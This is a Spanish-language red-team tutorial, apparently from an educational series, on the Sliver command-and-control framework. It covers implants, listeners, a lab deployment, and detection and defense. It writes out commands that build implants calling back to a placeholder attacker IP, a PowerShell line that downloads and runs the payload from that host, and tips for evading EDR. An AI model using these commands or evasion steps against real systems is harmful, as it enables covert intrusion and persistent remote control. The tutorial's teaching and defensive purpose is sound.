Sliver C2 framework: arquitectura, implants, listeners y evasión de EDR

En operaciones de red team y pruebas de penetración avanzadas, el framework de command and control (C2) es la pieza central que permite mantener acceso persistente a los sistemas comprometidos, ejecutar comandos de forma remota y coordinar el movimiento lateral. Mientras que Cobalt Strike ha dominado el espacio comercial durante una década, Sliver —desarrollado por BishopFox y publicado como open source en 2020— se ha convertido en la alternativa más adoptada por equipos ofensivos que necesitan un C2 moderno, multiplataforma y auditable sin pagar licencias de miles de dólares.

Sliver está escrito en Go, compila implants nativos para Windows, Linux y macOS, soporta múltiples protocolos de comunicación (mTLS, WireGuard, HTTP/S, DNS) y ofrece un ecosistema de extensiones a través de su sistema Armory. Según el informe de CISA AA23-075A (marzo 2023), Sliver ya figura entre los C2 más observados en incidentes reales, tanto en operaciones autorizadas como en ataques de grupos APT como APT29 (Cozy Bear). Es la séptima lección de la Tanda 10 de /aprende.

Toda operación de red team requiere autorización legal explícita (engagement letter, rules of engagement). Usar un C2 contra sistemas sin permiso es intrusión criminal, independientemente de que la herramienta sea open source. Practica exclusivamente en entornos de laboratorio autorizados.

Qué es Sliver#

Sliver es un framework C2 post-exploitation que permite a un operador controlar de forma remota sistemas comprometidos a través de implants compilados a medida. A diferencia de Metasploit —que se centra en la explotación inicial—, Sliver se especializa en lo que viene después: mantener acceso, ejecutar reconocimiento interno, pivotar entre redes y exfiltrar datos.

El proyecto fue creado por Ronan Kervella y el equipo de BishopFox. Se publica bajo licencia GPLv3 en GitHub (BishopFox/sliver) y en 2026 supera las 8 000 estrellas. Su arquitectura fundamental tiene cuatro componentes:

• Sliver server: proceso principal que gestiona implants, listeners, operadores y toda la lógica de C2. Corre en Linux o macOS (también Docker).
• Sliver client: interfaz de consola que conecta al server. Múltiples operadores pueden conectarse simultáneamente al mismo server.
• Listeners: servicios que esperan conexiones de implants. Cada listener usa un protocolo diferente (mTLS, WireGuard, HTTP, HTTPS, DNS).
• Implants: binarios compilados en Go que se ejecutan en los targets. Llaman al server periódicamente (beacon) o mantienen conexión permanente (session).

Por qué se usa Sliver: ventajas sobre otros C2#

La adopción masiva de Sliver no es casualidad. Hay razones técnicas y prácticas que lo explican:

• Open source y auditable: cualquier equipo puede revisar el código, compilar desde fuente y verificar que no hay backdoors. Cobalt Strike, al ser comercial y cerrado, ha sufrido leaks de código fuente que criminales explotan.
• Compilación cruzada nativa: Go permite generar implants para Windows (PE), Linux (ELF) y macOS (Mach-O) desde cualquier plataforma sin toolchains adicionales.
• Cifrado fuerte por defecto: cada implant se compila con claves únicas. La comunicación server-implant usa mTLS con certificados efímeros generados en compilación.
• Múltiples protocolos: un mismo implant puede tener fallback entre protocolos. Si mTLS falla, intenta HTTPS; si HTTPS falla, cae a DNS.
• Operación colaborativa: varios operadores conectan al mismo server y comparten sessions sin interferirse.
• Extensibilidad: BOFs (Beacon Object Files de Cobalt Strike) funcionan en Sliver gracias a COFFLoader, y el sistema Armory permite instalar extensiones con un comando.

Tipos de implant: beacon vs session#

Sliver ofrece dos modos fundamentales de implant, y elegir el correcto depende del escenario operativo:

Beacon#

El beacon es un implant asíncrono. Se conecta al server a intervalos regulares (configurable con --seconds, --minutes o --hours), descarga las tareas pendientes, las ejecuta localmente y sube los resultados en la siguiente conexión.

# Generar un beacon con callback cada 30 segundos y jitter del 20%
generate beacon --mtls IP_ATACANTE:8888 --os windows --arch amd64 \
  --seconds 30 --jitter 20 --save /tmp/implant.exe

El jitter introduce variabilidad aleatoria en el intervalo: con 30 segundos y 20 % de jitter, el beacon conecta entre 24 y 36 segundos. Esto dificulta la detección por análisis estadístico de tráfico.

Session#

La session es un implant interactivo. Mantiene una conexión persistente con el server (similar a una reverse shell mejorada) y ejecuta comandos en tiempo real.

# Generar un implant en modo session
generate --mtls IP_ATACANTE:8888 --os linux --arch amd64 \
  --save /tmp/implant_linux

La session es más rápida para operaciones interactivas (shell, port forwarding, pivots), pero genera más tráfico y es más detectable. En operaciones reales el patrón común es: beacon para persistencia a largo plazo, session puntual para tareas interactivas.

Listeners: protocolos de comunicación#

Cada listener define cómo los implants se comunican con el server. Sliver soporta cinco protocolos principales:

mTLS (mutual TLS)#

Protocolo por defecto y el más seguro. Tanto server como implant presentan certificado: autenticación mutua. Tráfico cifrado con TLS 1.3. El inconveniente es que usa un puerto no estándar y el certificado self-signed puede levantar alertas en inspección TLS corporativa.

mtls --lhost 0.0.0.0 --lport 8888

HTTPS#

Imita tráfico web legítimo. El implant envía peticiones HTTP(S) normales que pasan por proxies corporativos. Sliver permite configurar URLs customizadas para que el tráfico parezca acceso a una API o CDN.

https --lhost 0.0.0.0 --lport 443 --domain updates.empresa-falsa.com

WireGuard#

Protocolo VPN moderno. Sliver implementa WireGuard en userspace: el implant crea un túnel WireGuard hacia el server. Muy eficiente, bajo overhead, pero el tráfico UDP en un puerto no estándar puede ser filtrado.

wg --lhost 0.0.0.0 --lport 53 --nport 8888 --key-port 1234

DNS#

Último recurso. Los datos se codifican en queries DNS (registros TXT, CNAME, A). Funciona incluso cuando todo tráfico TCP está filtrado, porque casi siempre se permite DNS. Es extremadamente lento pero sirve para mantener acceso mínimo.

dns --domains c2.ejemplo.com --lport 53

Selección de protocolo en la práctica#

En un engagement real la estrategia habitual es: HTTPS como primario (pasa proxies), mTLS como secundario (más fiable si hay acceso directo), DNS como fallback de emergencia. Un mismo implant puede compilarse con múltiples callbacks:

generate beacon --mtls IP_ATACANTE:8888 --https IP_ATACANTE:443 \
  --dns c2.ejemplo.com --os windows --save /tmp/multi.exe

Si el primer protocolo falla, el implant intenta el siguiente automáticamente.

Cómo se despliega: explotación paso a paso en un laboratorio#

Paso 1: instalar Sliver server#

En tu máquina atacante (Kali, Parrot o cualquier Linux):

curl https://sliver.sh/install | sudo bash
# Esto instala el server en /root/sliver-server y el client en /root/sliver-client
sliver-server

Al arrancar, Sliver genera automáticamente los certificados de la CA interna, la base de datos SQLite y la configuración inicial.

Paso 2: crear un listener#

Dentro de la consola de Sliver, inicias un listener mTLS:

[server] sliver > mtls --lhost 0.0.0.0 --lport 8888

[*] Starting mTLS listener ...
[*] Successfully started job #1

Paso 3: generar el implant#

Compilas un beacon para Windows con callback cada 60 segundos:

[server] sliver > generate beacon --mtls IP_ATACANTE:8888 \
  --os windows --arch amd64 --seconds 60 --jitter 30 \
  --save /tmp/payload.exe

[*] Generating new windows/amd64 beacon implant binary (1 min)
[*] Build completed in 48s
[*] Implant saved to /tmp/payload.exe

El binario resultante pesa entre 10-15 MB (Go estático). Cada compilación genera nombres de funciones, claves y strings diferentes gracias a la ofuscación automática.

Paso 4: transferir y ejecutar en el target#

Transfieres el implant al lab target (en un entorno real usarías phishing, dropper, exploit con ejecución de código, etc.):

# Desde el atacante, servir el archivo
python3 -m http.server 8080

# En el target Windows (PowerShell)
Invoke-WebRequest -Uri http://IP_ATACANTE:8080/payload.exe -OutFile C:\Temp\payload.exe
C:\Temp\payload.exe

Paso 5: interactuar con el beacon#

Cuando el beacon conecta, aparece en la consola:

[*] Beacon 7f3a2b1c DESKTOP-LAB01 - 10.10.14.50:8888 (windows/amd64) - Thu Nov 06 10:15:22 UTC 2026

[server] sliver > beacons

 ID         Name            Transport   Hostname        OS/Arch         
 7f3a2b1c   BOLD_FERRET     mtls        DESKTOP-LAB01   windows/amd64   

[server] sliver > use 7f3a2b1c
[server] sliver (BOLD_FERRET) > whoami
[*] Tasked beacon BOLD_FERRET (task: d4e5f6)
[+] BOLD_FERRET completed task d4e5f6
    lab\usuario

Paso 6: post-explotación con Armory#

Instalas extensiones de Armory para operaciones avanzadas:

[server] sliver (BOLD_FERRET) > armory install seatbelt
[*] Installing extension 'seatbelt' ...
[*] Extension installed

[server] sliver (BOLD_FERRET) > seatbelt -- -group=system
[*] Tasked beacon BOLD_FERRET (task: a1b2c3)

Armory: el ecosistema de extensiones#

Armory es el sistema de paquetes de Sliver. Funciona como un gestor de extensiones que permite instalar herramientas de post-explotación con un solo comando. Las extensiones se dividen en dos tipos:

• Extensions: binarios nativos que se cargan como shared libraries en el implant. Escritas en Go, C o C#.
• Aliases: wrappings de BOFs (Beacon Object Files), el formato de extensión de Cobalt Strike. Sliver incluye un COFFLoader que ejecuta BOFs directamente.

Extensiones populares de Armory:

# Listar extensiones disponibles
armory search

# Instalar todas las populares
armory install sharp-hound-4
armory install rubeus
armory install certify

Qué puede lograr un atacante con Sliver#

Una vez que un implant Sliver está activo en una red corporativa, las posibilidades de un atacante son extensas:

Cómo se detecta Sliver#

La detección de Sliver requiere un enfoque multicapa que combine análisis de red, endpoint y comportamiento:

Indicadores de red#

• Certificados TLS: Sliver genera certificados self-signed con patrones identificables. Herramientas como JA3/JA3S fingerprinting detectan el handshake TLS característico de implants Go.
• Beaconing patterns: aunque el jitter dificulta la detección, análisis estadístico de intervalos de conexión (herramientas como RITA, AC-Hunter) puede revelar patrones periódicos.
• DNS tunneling: queries DNS inusualmente largas, alto volumen de registros TXT a un solo dominio, subdominios con strings codificados en base32/64.

Indicadores de endpoint#

• Binarios Go: los implants compilados en Go tienen características reconocibles en su PE header, secciones y strings residuales. Herramientas como garble ofuscan parcialmente pero no eliminan todos los indicadores.
• Process injection: los BOFs y extensiones se inyectan en procesos legítimos. Sysmon (Event ID 8, 10) y ETW detectan estas operaciones.
• AMSI y ETW: Sliver intenta parchear AMSI y ETW al cargar extensiones .NET. EDRs modernos monitorizan estos patches.

Reglas de detección#

Sigma rules públicas para Sliver incluyen:

• Detección de named pipes con patrones de Sliver.
• Conexiones mTLS a puertos no estándar con certificados self-signed.
• Carga de assemblies .NET en procesos inusuales (indicador de execute-assembly).

Cómo se defiende una organización#

La defensa contra Sliver (y cualquier C2 moderno) requiere capas complementarias:

• Inspección TLS: proxies corporativos que rompan y analicen tráfico HTTPS detectan certificados self-signed y patrones de beaconing. Zscaler, Palo Alto SSL decryption y Squid con SSL bump son opciones comunes.
• DNS monitoring: soluciones como Cisco Umbrella, Infoblox DNS Firewall o Pi-hole corporativo con logging detectan DNS tunneling por volumen y longitud de queries.
• EDR configurado correctamente: CrowdStrike Falcon, Microsoft Defender for Endpoint y SentinelOne detectan implants Go si las reglas están actualizadas. La clave es mantener el EDR con políticas de protección activas, no solo en modo detección.
• Segmentación de red: limitar qué hosts pueden hacer conexiones salientes a Internet reduce drásticamente la superficie para callbacks de implants.
• Network detection: Zeek (Bro), Suricata con reglas ET Pro, y soluciones NDR como Corelight o Vectra detectan patrones de C2 en tráfico de red.
• Hardening de endpoints: deshabilitar PowerShell para usuarios no-admin, AppLocker o WDAC para controlar ejecución de binarios, y credential guard para proteger LSASS.

Errores comunes al defenderse#

• Confiar solo en el antivirus: Sliver ofusca cada build de forma única. Las firmas estáticas tienen vida corta; la detección debe ser comportamental.
• No inspeccionar tráfico HTTPS: si el proxy no rompe TLS, todo el tráfico C2 cifrado pasa sin análisis.
• Ignorar DNS: muchas organizaciones monitorizan HTTP/S pero dejan DNS sin supervisar. Es el canal de fallback favorito de Sliver.
• EDR en modo solo detección: alertas sin bloqueo automático permiten al atacante operar mientras el SOC investiga.
• No segmentar la red: si cualquier workstation puede conectar directamente a Internet por cualquier puerto, el implant siempre encontrará un canal de comunicación.
• Desestimar binarios Go grandes: un ejecutable de 12 MB puede parecer sospechoso, pero muchos administradores lo ignoran asumiendo que es una herramienta legítima.

Preguntas frecuentes#

¿Sliver es legal?#

Sliver es una herramienta legítima de seguridad ofensiva. Su uso es legal cuando se emplea dentro de un engagement autorizado con rules of engagement firmadas. Usarlo contra sistemas sin autorización es delito en la mayoría de jurisdicciones.

¿Puedo usar BOFs de Cobalt Strike en Sliver?#

Sí. Sliver incluye un COFFLoader que ejecuta Beacon Object Files. La mayoría de BOFs públicos (nanodump, sa-whoami, etc.) funcionan directamente. Algunos BOFs que dependen de APIs internas de Cobalt Strike pueden requerir adaptación.

¿Es mejor Sliver que Cobalt Strike?#

Depende del contexto. Sliver es gratuito, open source, multiplataforma y tiene protocolos modernos como WireGuard. Cobalt Strike ofrece mayor madurez, malleable profiles más flexibles y mejor documentación enterprise. Muchos equipos usan ambos.

¿Cómo evito que mi implant sea detectado?#

La evasión depende de múltiples factores: ofuscación en compilación (Sliver lo hace por defecto), stagers customizados, comunicación por canales legítimos (HTTPS con domain fronting), sleep obfuscation, y evitar ejecutar herramientas ruidosas como Mimikatz directamente.

¿Qué diferencia hay entre Sliver y Mythic?#

Mythic es otro C2 open source con arquitectura modular y UI web. Sus agentes se escriben en diferentes lenguajes. Sliver es más opinionated: todo integrado en un solo binario Go. La elección depende de preferencias del equipo y requisitos del engagement.

¿Necesito infraestructura especial para Sliver?#

Para un laboratorio basta con una VM Linux. Para operaciones reales necesitas redirectors (Nginx, Apache, socat), dominios con reputación, y separación entre server y redirectors para proteger el teamserver si un redirector es descubierto.

Resumen#

• Sliver es el C2 open source de referencia en 2026, desarrollado por BishopFox y usado tanto en red team autorizado como por actores maliciosos.
• Compila implants nativos en Go para Windows, Linux y macOS con ofuscación automática por build.
• Soporta beacon (asíncrono, bajo perfil) y session (interactivo, tiempo real) como modos de implant.
• Los listeners mTLS, HTTPS, WireGuard y DNS cubren desde redes abiertas hasta entornos con filtrado extremo.
• Armory integra extensiones y BOFs de Cobalt Strike, ampliando las capacidades post-explotación.
• La detección requiere inspección TLS, monitoreo DNS, EDR comportamental y segmentación de red trabajando en conjunto.

Fuentes y lecturas recomendadas#

• Sliver - repositorio oficial en GitHub
• Sliver Wiki - documentación oficial
• CISA Advisory AA23-075A - Sliver and other C2 frameworks
• MITRE ATT&CK - Command and Control (TA0011)
• BishopFox Blog - Sliver releases y técnicas
• Dominic Breuker - Detecting Sliver C2